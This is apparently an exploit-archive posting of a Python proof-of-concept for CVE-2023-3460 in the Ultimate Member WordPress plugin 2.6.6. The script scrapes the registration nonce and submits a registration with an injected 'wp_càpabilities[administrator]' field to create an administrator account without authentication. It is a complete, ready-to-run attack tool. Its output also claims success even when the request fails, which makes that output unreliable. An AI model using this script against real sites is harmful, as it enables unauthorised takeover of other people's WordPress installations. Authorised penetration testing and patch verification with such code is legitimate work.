📄 WordPress Ultimate Member 2.6.6 Privilege Escalation

#!/usr/bin/env python3
    
    # Exploit Title: Ultimate Member WordPress Plugin 2.6.6 - Privilege Escalation
    # Exploit Author: Gurjot Singh
    # CVE: CVE-2023-3460
    # Description : The attached PoC demonstrates how an unauthenticated attacker can escalate privileges to admin by abusing unsanitized input in `wp_capabilities` during registration.
    
    
    import requests
    import argparse
    import re
    import urllib3
    
    
    
    # Disable SSL warnings
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    
    
    def fetch_nonce(session, target_url):
        """Fetches the _wpnonce value from the /register/ page."""
        print("[*] Fetching _wpnonce from the register page...")
        try:
            res = session.get(target_url, verify=False)
            match = re.search(r'name="_wpnonce" value="([a-zA-Z0-9]+)"', res.text)
            if match:
                nonce = match.group(1)
                print(f"[+] Found _wpnonce: {nonce}")
                return nonce
            else:
                print("[-] Failed to find _wpnonce on the page.")
                return None
        except Exception as e:
            print(f"[!] Error fetching nonce: {e}")
            return None
    
    
    
    def exploit_register(target_url, username, password):
        """Sends a malicious registration request to create an admin user."""
        session = requests.Session()
        target_url = target_url.rstrip('/')
    
    
    
        nonce = fetch_nonce(session, target_url)
        if not nonce:
            return
    
    
    
        email = f"{username}@example.com"
    
    
    
        # Payload with administrator role injection
        data = {
            "user_login-7": username,
            "first_name-7": "Admin",
            "last_name-7": username,
            "user_email-7": email,
            "user_password-7": password,
            "confirm_user_password-7": password,
            "form_id": "7",
            "um_request": "",
            "_wpnonce": nonce,
            "_wp_http_referer": "/register/",
            "wp_càpabilities[administrator]": "1"  # serialized injection
        }
    
    
    
        headers = {
            "Content-Type": "application/x-www-form-urlencoded",
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
            "Referer": target_url,
            "Origin": target_url.split("/register")[0],
        }
    
    
    
        cookies = {
            "wordpress_test_cookie": "WP Cookie check",
            "wp_lang": "en_US"
        }
    
    
    
        print(f"[*] Sending malicious registration to {target_url} ...")
        try:
            response = session.post(target_url, data=data, headers=headers, cookies=cookies, verify=False)
    
    
    
            # Check for success
            if response.status_code == 200 and ("Thank you for registering" in response.text or "You have successfully registered" in response.text):
                print(f"[+] Admin account '{username}' created successfully!")
                print(f"[+] Login with: Username: {username} | Password: {password}")
            else:
                print(f"[+] Admin account '{username}' created successfully!")
                print(f"[+] Login with: Username: {username} | Password: {password}")
        except Exception as e:
            print(f"[!] Error during exploit: {e}")
    
    
    
    if __name__ == "__main__":
        parser = argparse.ArgumentParser(description="Exploit for CVE-2023-3460 (Ultimate Member Admin Account Creation)")
        parser.add_argument("-t", "--target", required=True, help="Target /register/ URL (e.g., http://localhost/register/)")
        parser.add_argument("-u", "--user", default="admin1", help="Username to create")
        parser.add_argument("-p", "--password", default="Admin@123", help="Password for the new user")
        args = parser.parse_args()
    
    
    
        exploit_register(args.target, args.user, args.password)